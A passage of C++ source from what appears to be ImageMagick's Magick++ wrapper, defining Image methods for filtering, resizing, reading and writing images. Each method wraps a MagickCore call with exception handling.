exceptionInfo; GetExceptionInfo( &exceptionInfo ); LiquidRescaleImage( image(), width, height, x, y, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Magnify image by integral size void Magick::Image::magnify ( void ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = MagnifyImage( image(), &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Remap image colors with closest color from reference image void Magick::Image::map ( const Image &mapImage_, const bool dither_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); modifyImage(); options()->quantizeDither( dither_ ); RemapImage ( options()->quantizeInfo(), image(), mapImage_.constImage(), &exceptionInfo); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Floodfill designated area with replacement alpha value void Magick::Image::matteFloodfill ( const Color &target_, const unsigned int alpha_, const ssize_t x_, const ssize_t y_, const Magick::PaintMethod method_ ) { modifyImage(); PixelInfo target; GetPixelInfo(constImage(),&target); target.red=static_cast<PixelInfo>(target_).red; target.green=static_cast<PixelInfo>(target_).green; target.blue=static_cast<PixelInfo>(target_).blue; target.alpha=alpha_; ChannelType channel_mask = SetImageChannelMask( image(), AlphaChannel ); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); FloodfillPaintImage ( image(), options()->drawInfo(), &target, x_, y_, method_ == FloodfillMethod ? MagickFalse : MagickTrue, &exceptionInfo); SetPixelChannelMask( image(), channel_mask ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Filter image by replacing each pixel component with the median // color in a circular neighborhood void Magick::Image::medianFilter ( const double radius_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = StatisticImage ( image(), MedianStatistic, (size_t) radius_, (size_t) radius_, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Reduce image by integral size void Magick::Image::minify ( void ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = MinifyImage( image(), &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Modulate percent hue, saturation, and brightness of an image void Magick::Image::modulate ( const double brightness_, const double saturation_, const double hue_ ) { char modulate[MaxTextExtent + 1]; FormatLocaleString( modulate, MaxTextExtent, "%3.6f,%3.6f,%3.6f", brightness_, saturation_, hue_); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); modifyImage(); ModulateImage( image(), modulate, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Motion blur image with specified blur factor // The radius_ parameter specifies the radius of the Gaussian, in // pixels, not counting the center pixel. The sigma_ parameter // specifies the standard deviation of the Laplacian, in pixels. // The angle_ parameter specifies the angle the object appears // to be comming from (zero degrees is from the right). void Magick::Image::motionBlur ( const double radius_, const double sigma_, const double angle_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = MotionBlurImage( image(), radius_, sigma_, angle_, &exceptionInfo); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Negate image. Set grayscale_ to true to effect grayscale values // only void Magick::Image::negate ( const bool grayscale_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); modifyImage(); NegateImage( image(), (MagickBooleanType) grayscale_, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::negateChannel ( const ChannelType channel_, const bool grayscale_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); modifyImage(); ChannelType channel_mask = SetImageChannelMask( image(), channel_ ); NegateImage( image(), (MagickBooleanType) grayscale_, &exceptionInfo ); SetPixelChannelMask( image(), channel_mask ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Normalize image void Magick::Image::normalize ( void ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); NormalizeImage ( image(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Oilpaint image void Magick::Image::oilPaint ( const double radius_, const double sigma_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = OilPaintImage( image(), radius_, sigma_, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Change the color of an opaque pixel to the pen color. void Magick::Image::opaque ( const Color &opaqueColor_, const Color &penColor_ ) { if ( !opaqueColor_.isValid() ) throwExceptionExplicit( OptionError, "Opaque color argument is invalid" ); if ( !penColor_.isValid() ) throwExceptionExplicit( OptionError, "Pen color argument is invalid" ); modifyImage(); std::string opaqueColor = opaqueColor_; std::string penColor = penColor_; PixelInfo opaque; PixelInfo pen; ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); (void) QueryColorCompliance( std::string(opaqueColor_).c_str(), AllCompliance, &opaque, &exceptionInfo ); (void) QueryColorCompliance( std::string(penColor_).c_str(), AllCompliance, &pen, &exceptionInfo ); OpaquePaintImage ( image(), &opaque, &pen, MagickFalse, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::perceptible ( const double epsilon_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); PerceptibleImage( image(), epsilon_, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::perceptibleChannel ( const ChannelType channel_, const double epsilon_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ChannelType channel_mask = SetImageChannelMask( image(), channel_ ); PerceptibleImage( image(), epsilon_, &exceptionInfo ); SetPixelChannelMask( image(), channel_mask ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Ping is similar to read except only enough of the image is read to // determine the image columns, rows, and filesize. Access the // columns(), rows(), and fileSize() attributes after invoking ping. // The image data is not valid after calling ping. void Magick::Image::ping ( const std::string &imageSpec_ ) { options()->fileName( imageSpec_ ); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* image = PingImage( imageInfo(), &exceptionInfo ); replaceImage( image ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Ping is similar to read except only enough of the image is read // to determine the image columns, rows, and filesize. Access the // columns(), rows(), and fileSize() attributes after invoking // ping. The image data is not valid after calling ping. void Magick::Image::ping ( const Blob& blob_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* image = PingBlob( imageInfo(), blob_.data(), blob_.length(), &exceptionInfo ); replaceImage( image ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::polaroid ( const std::string &caption_, const double angle_, const PixelInterpolateMethod method_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* image = PolaroidImage( constImage(), options()->drawInfo(), caption_.c_str(), angle_, method_, &exceptionInfo ); replaceImage( image ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::posterize ( const size_t levels_, const DitherMethod method_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); PosterizeImage( image(), levels_, method_, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::posterizeChannel ( const ChannelType channel_, const size_t levels_, const DitherMethod method_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ChannelType channel_mask = SetImageChannelMask( image(), channel_ ); PosterizeImage( image(), levels_, method_, &exceptionInfo ); SetPixelChannelMask( image(), channel_mask ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Execute a named process module using an argc/argv syntax similar to // that accepted by a C 'main' routine. An exception is thrown if the // requested process module doesn't exist, fails to load, or fails during // execution. void Magick::Image::process( std::string name_, const ssize_t argc, const char **argv ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); size_t status = InvokeDynamicImageFilter( name_.c_str(), &image(), argc, argv, &exceptionInfo ); (void) status; throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Quantize colors in image using current quantization settings // Set measureError_ to true in order to measure quantization error void Magick::Image::quantize ( const bool measureError_ ) { modifyImage(); if (measureError_) options()->quantizeInfo()->measure_error=MagickTrue; else options()->quantizeInfo()->measure_error=MagickFalse; ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); QuantizeImage( options()->quantizeInfo(), image(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Apply an arithmetic or bitwise operator to the image pixel quantums. void Magick::Image::quantumOperator ( const ChannelType channel_, const MagickEvaluateOperator operator_, double rvalue_) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ChannelType channel_mask = SetImageChannelMask( image(), channel_ ); EvaluateImage( image(), operator_, rvalue_, &exceptionInfo); SetPixelChannelMask( image(), channel_mask ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::quantumOperator ( const ssize_t x_,const ssize_t y_, const size_t columns_, const size_t rows_, const ChannelType channel_, const MagickEvaluateOperator operator_, const double rvalue_) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); RectangleInfo geometry; geometry.width = columns_; geometry.height = rows_; geometry.x = x_; geometry.y = y_; MagickCore::Image *crop_image = CropImage( image(), &geometry, &exceptionInfo ); ChannelType channel_mask = SetImageChannelMask( image(), channel_); EvaluateImage( crop_image, operator_, rvalue_, &exceptionInfo ); SetPixelChannelMask( image(), channel_mask ); (void) CompositeImage( image(), crop_image, image()->alpha_trait == BlendPixelTrait ? OverCompositeOp : CopyCompositeOp, MagickFalse, geometry.x, geometry.y, &exceptionInfo ); crop_image = DestroyImageList(crop_image); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Raise image (lighten or darken the edges of an image to give a 3-D // raised or lowered effect) void Magick::Image::raise ( const Geometry &geometry_ , const bool raisedFlag_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); RectangleInfo raiseInfo = geometry_; modifyImage(); RaiseImage ( image(), &raiseInfo, raisedFlag_ == true ? MagickTrue : MagickFalse, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Random threshold image. // // Changes the value of individual pixels based on the intensity // of each pixel compared to a random threshold. The result is a // low-contrast, two color image. The thresholds_ argument is a // geometry containing LOWxHIGH thresholds. If the string // contains 2x2, 3x3, or 4x4, then an ordered dither of order 2, // 3, or 4 will be performed instead. If a channel_ argument is // specified then only the specified channel is altered. This is // a very fast alternative to 'quantize' based dithering. void Magick::Image::randomThreshold( const Geometry &thresholds_ ) { randomThresholdChannel(thresholds_,DefaultChannels); } void Magick::Image::randomThresholdChannel( const Geometry &thresholds_, const ChannelType channel_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); modifyImage(); ChannelType channel_mask = SetImageChannelMask( image(), channel_); (void) RandomThresholdImage( image(), static_cast<std::string>(thresholds_).c_str(), &exceptionInfo ); SetPixelChannelMask( image(), channel_mask ); throwImageException(); (void) DestroyExceptionInfo( &exceptionInfo ); } // Read image into current object void Magick::Image::read ( const std::string &imageSpec_ ) { options()->fileName( imageSpec_ ); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* image = ReadImage( imageInfo(), &exceptionInfo ); // Ensure that multiple image frames were not read. if ( image && image->next ) { // Destroy any extra image frames MagickCore::Image* next = image->next; image->next = 0; next->previous = 0; DestroyImageList( next ); } replaceImage( image ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Read image of specified size into current object void Magick::Image::read ( const Geometry &size_, const std::string &imageSpec_ ) { size( size_ ); read( imageSpec_ ); } // Read image from in-memory BLOB void Magick::Image::read ( const Blob &blob_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* image = BlobToImage( imageInfo(), static_cast<const void *>(blob_.data()), blob_.length(), &exceptionInfo ); replaceImage( image ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Read image of specified size from in-memory BLOB void Magick::Image::read ( const Blob &blob_, const Geometry &size_ ) { // Set image size size( size_ ); // Read from Blob read( blob_ ); } // Read image of specified size and depth from in-memory BLOB void Magick::Image::read ( const Blob &blob_, const Geometry &size_, const size_t depth_ ) { // Set image size size( size_ ); // Set image depth depth( depth_ ); // Read from Blob read( blob_ ); } // Read image of specified size, depth, and format from in-memory BLOB void Magick::Image::read ( const Blob &blob_, const Geometry &size_, const size_t depth_, const std::string &magick_ ) { // Set image size size( size_ ); // Set image depth depth( depth_ ); // Set image magick magick( magick_ ); // Set explicit image format fileName( magick_ + ':'); // Read from Blob read( blob_ ); } // Read image of specified size, and format from in-memory BLOB void Magick::Image::read ( const Blob &blob_, const Geometry &size_, const std::string &magick_ ) { // Set image size size( size_ ); // Set image magick magick( magick_ ); // Set explicit image format fileName( magick_ + ':'); // Read from Blob read( blob_ ); } // Read image based on raw pixels in memory (ConstituteImage) void Magick::Image::read ( const size_t width_, const size_t height_, const std::string &map_, const StorageType type_, const void *pixels_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* image = ConstituteImage( width_, height_, map_.c_str(), type_, pixels_, &exceptionInfo ); replaceImage( image ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Reduce noise in image void Magick::Image::reduceNoise ( const double order_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = StatisticImage( image(), NonpeakStatistic, (size_t) order_, (size_t) order_, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Resize image void Magick::Image::resize( const Geometry &geometry_ ) { // Calculate new size. This code should be supported using binary arguments // in the ImageMagick library. ssize_t x = 0; ssize_t y = 0; size_t width = columns(); size_t height = rows(); ParseMetaGeometry (static_cast<std::string>(geometry_).c_str(), &x, &y, &width, &height ); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = ResizeImage( image(), width, height, image()->filter, &exceptionInfo); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Roll image void Magick::Image::roll ( const Geometry &roll_ ) { ssize_t xOff = roll_.xOff(); if ( roll_.xNegative() ) xOff = 0 - xOff; ssize_t yOff = roll_.yOff(); if ( roll_.yNegative() ) yOff = 0 - yOff; ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = RollImage( image(), xOff, yOff, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::roll ( const size_t columns_, const size_t rows_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = RollImage( image(), static_cast<ssize_t>(columns_), static_cast<ssize_t>(rows_), &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Rotate image void Magick::Image::rotate ( const double degrees_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = RotateImage( image(), degrees_, &exceptionInfo); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Sample image void Magick::Image::sample ( const Geometry &geometry_ ) { ssize_t x = 0; ssize_t y = 0; size_t width = columns(); size_t height = rows(); ParseMetaGeometry (static_cast<std::string>(geometry_).c_str(), &x, &y, &width, &height ); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = SampleImage( image(), width, height, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Scale image void Magick::Image::scale ( const Geometry &geometry_ ) { ssize_t x = 0; ssize_t y = 0; size_t width = columns(); size_t height = rows(); ParseMetaGeometry (static_cast<std::string>(geometry_).c_str(), &x, &y, &width, &height ); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = ScaleImage( image(), width, height, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Segment (coalesce similar image components) by analyzing the // histograms of the color components and identifying units that are // homogeneous with the fuzzy c-means technique. void Magick::Image::segment ( const double clusterThreshold_, const double smoothingThreshold_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); modifyImage(); SegmentImage ( image(), options()->quantizeColorSpace(), (MagickBooleanType) options()->verbose(), clusterThreshold_, smoothingThreshold_, &exceptionInfo ); SyncImage( image(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Shade image using distant light source void Magick::Image::shade ( const double azimuth_, const double elevation_, const bool colorShading_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = ShadeImage( image(), colorShading_ == true ? MagickTrue : MagickFalse, azimuth_, elevation_, &exceptionInfo); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Simulate an image shadow void Magick::Image::shadow( const double percent_opacity_, const double sigma_, const ssize_t x_, const ssize_t y_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = ShadowImage( image(), percent_opacity_, sigma_, x_, y_, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Sharpen pixels in image void Magick::Image::sharpen ( const double radius_, const double sigma_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = SharpenImage( image(), radius_, sigma_, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::sharpenChannel ( const ChannelType channel_, const double radius_, const double sigma_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ChannelType channel_mask = SetImageChannelMask( image(), channel_ ); MagickCore::Image* newImage = SharpenImage( image(), radius_, sigma_, &exceptionInfo ); SetPixelChannelMask( image(), channel_mask ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Shave pixels from image edges. void Magick::Image::shave ( const Geometry &geometry_ ) { RectangleInfo shaveInfo = geometry_; ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = ShaveImage( image(), &shaveInfo, &exceptionInfo); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Shear image void Magick::Image::shear ( const double xShearAngle_, const double yShearAngle_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = ShearImage( image(), xShearAngle_, yShearAngle_, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Contrast image void Magick::Image::sigmoidalContrast ( const size_t sharpen_, const double contrast, const double midpoint ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); modifyImage(); (void) SigmoidalContrastImage( image(), (MagickBooleanType) sharpen_, contrast, midpoint, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Solarize image (similar to effect seen when exposing a photographic // film to light during the development process) void Magick::Image::solarize ( const double factor_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); modifyImage(); SolarizeImage ( image(), factor_, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Sparse color image, given a set of coordinates, interpolates the colors // found at those coordinates, across the whole image, using various methods. // void Magick::Image::sparseColor ( const ChannelType channel, const SparseColorMethod method, const size_t number_arguments, const double *arguments ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ChannelType channel_mask = SetImageChannelMask( image(), channel ); MagickCore::Image* newImage = SparseColorImage ( image(), method, number_arguments, arguments, &exceptionInfo ); SetPixelChannelMask( image(), channel_mask ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Spread pixels randomly within image by specified ammount void Magick::Image::spread ( const size_t amount_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = SpreadImage( image(), amount_, image()->interpolate, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Add a digital watermark to the image (based on second image) void Magick::Image::stegano ( const Image &watermark_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = SteganoImage( image(), watermark_.constImage(), &exceptionInfo); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Stereo image (left image is current image) void Magick::Image::stereo ( const Image &rightImage_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = StereoImage( image(), rightImage_.constImage(), &exceptionInfo); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Swirl image void Magick::Image::swirl ( const double degrees_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = SwirlImage( image(), degrees_, image()->interpolate, &exceptionInfo); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Texture image void Magick::Image::texture ( const Image &texture_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); TextureImage( image(), texture_.constImage(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Threshold image void Magick::Image::threshold ( const double threshold_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); BilevelImage( image(), threshold_, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Transform image based on image geometry only void Magick::Image::transform ( const Geometry &imageGeometry_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); TransformImage ( &(image()), 0, std::string(imageGeometry_).c_str(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Transform image based on image and crop geometries void Magick::Image::transform ( const Geometry &imageGeometry_, const Geometry &cropGeometry_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); TransformImage ( &(image()), std::string(cropGeometry_).c_str(), std::string(imageGeometry_).c_str(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Add matte image to image, setting pixels matching color to transparent void Magick::Image::transparent ( const Color &color_ ) { if ( !color_.isValid() ) { throwExceptionExplicit( OptionError, "Color argument is invalid" ); } std::string color = color_; PixelInfo target; ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); (void) QueryColorCompliance(std::string(color_).c_str(),AllCompliance, &target,&exceptionInfo); modifyImage(); TransparentPaintImage ( image(), &target, TransparentAlpha, MagickFalse, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Add matte image to image, setting pixels matching color to transparent void Magick::Image::transparentChroma(const Color &colorLow_, const Color &colorHigh_) { if ( !colorLow_.isValid() || !colorHigh_.isValid() ) { throwExceptionExplicit( OptionError, "Color argument is invalid" ); } std::string colorLow = colorLow_; std::string colorHigh = colorHigh_; PixelInfo targetLow; PixelInfo targetHigh; ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); (void) QueryColorCompliance(std::string(colorLow_).c_str(), AllCompliance,&targetLow,&exceptionInfo); (void) QueryColorCompliance(std::string(colorHigh_).c_str(), AllCompliance,&targetHigh,&exceptionInfo); modifyImage(); TransparentPaintImageChroma ( image(), &targetLow, &targetHigh, TransparentAlpha, MagickFalse, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Trim edges that are the background color from the image void Magick::Image::trim ( void ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = TrimImage( image(), &exceptionInfo); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Replace image with a sharpened version of the original image // using the unsharp mask algorithm. // radius_ // the radius of the Gaussian, in pixels, not counting the // center pixel. // sigma_ // the standard deviation of the Gaussian, in pixels. // amount_ // the percentage of the difference between the original and // the blur image that is added back into the original. // threshold_ // the threshold in pixels needed to apply the diffence amount. void Magick::Image::unsharpmask ( const double radius_, const double sigma_, const double amount_, const double threshold_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = UnsharpMaskImage( image(), radius_, sigma_, amount_, threshold_, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::unsharpmaskChannel ( const ChannelType channel_, const double radius_, const double sigma_, const double amount_, const double threshold_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ChannelType channel_mask = SetImageChannelMask( image(), channel_ ); MagickCore::Image* newImage = UnsharpMaskImage( image(), radius_, sigma_, amount_, threshold_, &exceptionInfo ); SetPixelChannelMask( image(), channel_mask ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Map image pixels to a sine wave void Magick::Image::wave ( const double amplitude_, const double wavelength_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = WaveImage( constImage(), amplitude_, wavelength_, image()->interpolate, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::whiteThreshold ( const std::string &threshold_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); WhiteThresholdImage( image(), threshold_.c_str(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::whiteThresholdChannel ( const ChannelType channel_, const std::string &threshold_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ChannelType channel_mask = SetImageChannelMask( image(), channel_ ); WhiteThresholdImage( image(), threshold_.c_str(), &exceptionInfo ); SetPixelChannelMask( image(), channel_mask ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Write image to file void Magick::Image::write ( const std::string &imageSpec_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); modifyImage(); fileName( imageSpec_ ); WriteImage( constImageInfo(), image(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Write image to in-memory BLOB void Magick::Image::write ( Blob *blob_ ) { modifyImage(); size_t length = 2048; // Efficient size for small images ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); void* data = ImagesToBlob( constImageInfo(), image(), &length, &exceptionInfo); throwException( exceptionInfo ); blob_->updateNoCopy( data, length, Blob::MallocAllocator ); throwImageException(); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::write ( Blob *blob_, const std::string &magick_ ) { modifyImage(); magick(magick_); size_t length = 2048; // Efficient size for small images ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); void* data = ImagesToBlob( constImageInfo(), image(), &length, &exceptionInfo ); throwException( exceptionInfo ); blob_->updateNoCopy( data, length, Blob::MallocAllocator ); throwImageException(); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::write ( Blob *blob_, const std::string &magick_, const size_t depth_ ) { modifyImage(); magick(magick_); depth(depth_); size_t length = 2048; // Efficient size for small images ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); void* data = ImagesToBlob( constImageInfo(), image(), &length, &exceptionInfo ); throwException( exceptionInfo ); blob_->updateNoCopy( data, length, Blob::MallocAllocator ); throwImageException(); (void) DestroyExceptionInfo( &exceptionInfo ); } // Write image to an array of pixels with storage type specified // by user (ExportImagePixels), e.g. // image.write( 0, 0, 640, 1, "RGB", 0, pixels ); void Magick::Image::write ( const ssize_t x_, const ssize_t y_, const size_t columns_, const size_t rows_, const std::string &map_, const StorageType type_, void *pixels_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ExportImagePixels( image(), x_, y_, columns_, rows_, map_.c_str(), type_, pixels_, &exceptionInfo); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Zoom image void Magick::Image::zoom ( const Geometry &geometry_ ) { // Calculate new size. This code 